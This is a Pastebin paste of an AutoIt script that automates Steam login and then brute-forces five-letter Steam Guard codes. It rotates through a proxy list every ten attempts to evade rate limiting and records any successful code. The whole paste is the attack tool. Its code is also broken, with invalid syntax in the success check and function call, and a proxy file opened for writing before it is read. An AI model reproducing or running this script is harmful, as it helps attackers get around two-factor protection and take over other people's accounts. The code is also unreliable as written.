Advertisement
Guest User

SteamGuard

a guest
Nov 26th, 2015
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.12 KB | None | 0 0
  1. #include <IE.au3>
  2.  
  3. ;Get Objects for the Login-Page
  4. $oSteam = _IECreate("https://store.steampowered.com/login", 1, 1, 1, 1)
  5. $oUsername = _IEGetObjById($oSteam, "input_username")
  6. $oPassword = _IEGetObjById($oSteam, "input_password")
  7. $oSubmitCredentials = _IEGetObjById($oSteam, "login_btn_signin")
  8.  
  9. ;Read out the Username and Password
  10. $hOpen = FileOpen(@ScriptDir&"\login.txt")
  11. $sUsername = FileReadLine($hOpen, 1)
  12. $sPassword = FileReadLine($hOpen, 2)
  13.  
  14. ;Enter Login Credentials and log in
  15. _IEFormElementSetValue($oUsername, $sUsername)
  16. _IEFormElementSetValue($oPassword, $sPassword)
  17. _IEAction($oSubmitCredentials, "click")
  18.  
  19. ;Wait to load SteamGuard Submit interface
  20. sleep(10000)
  21.  
  22. ;Open the Logging - Files
  23. $hOpen = FileOpen(@ScriptDir&"\UsedKeys.txt", 2+8)
  24. $hProxy = FileOpen(@ScriptDir&"\Proxies.txt", 2+8)
  25. $hSuccess = FileOpen(@ScriptDir&"\Success.txt", 2+8)
  26.  
  27. ;Setting Variables
  28. $Tries = 0
  29. $TotalTries = 0
  30. $ProxyTry = 0
  31.  
  32. ;Start the Key brute-forcing
  33. While 1
  34. $kUsedValue = 1
  35. $sKey = ""
  36. $Proxy = FileReadLine($hProxy, $ProxyTry)
  37.  
  38. ;Set Another Proxy if the 10 tries were used
  39. If $Tries = 10 then
  40. HttpSetProxy(2, $Proxy)
  41. $Tries = 0
  42. $TotalTries = $TotalTries + 10
  43. $ProxyTry = $ProxyTry + 1
  44. EndIf
  45.  
  46. ;Generate the Key
  47. Do
  48. $RandomString = Chr(Random(48, 90, 1))
  49. If StringRegExp($RandomString, "(?i)[a-z]") Then $sKey &= $RandomString
  50. Until StringLen($sKey) = 5
  51.  
  52. ;Find out if Key was already used once
  53. $kUsed = FileRead($hOpen, -1)
  54. $kPos = StringInStr($kUsed, $sKey&";")
  55. If $kPos = 0 then FileWrite($hOpen, $sKey&"; "&@CRLF)
  56.  
  57. ;Try out the Key if it is unused
  58. $oSubmitAuthKey = _IEGetObjByClass($oSteam, "auth_button leftbtn")
  59. $oAuthKey = _IEGetObjById($oSteam, "authcode")
  60. _IEFormElementSetValue($oAuthKey, $sKey)
  61. _IEAction($oSubmitAuthKey, "click")
  62. $Tries = $Tries + 1
  63. $Success = _IECheckImg = $successimage
  64. If $Success = 1 then Func Success()
  65. WEnd
  66.  
  67. ;Function if Key was right
  68. Func Success()
  69. FileWriteLine($hSuccess, "Key: "&$sKey)
  70. FileWriteLine($hSuccess, "Proxy: "&$Proxy)
  71. FileWriteLine($hSuccess, "TotalTries: "$TotalTries)
  72. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement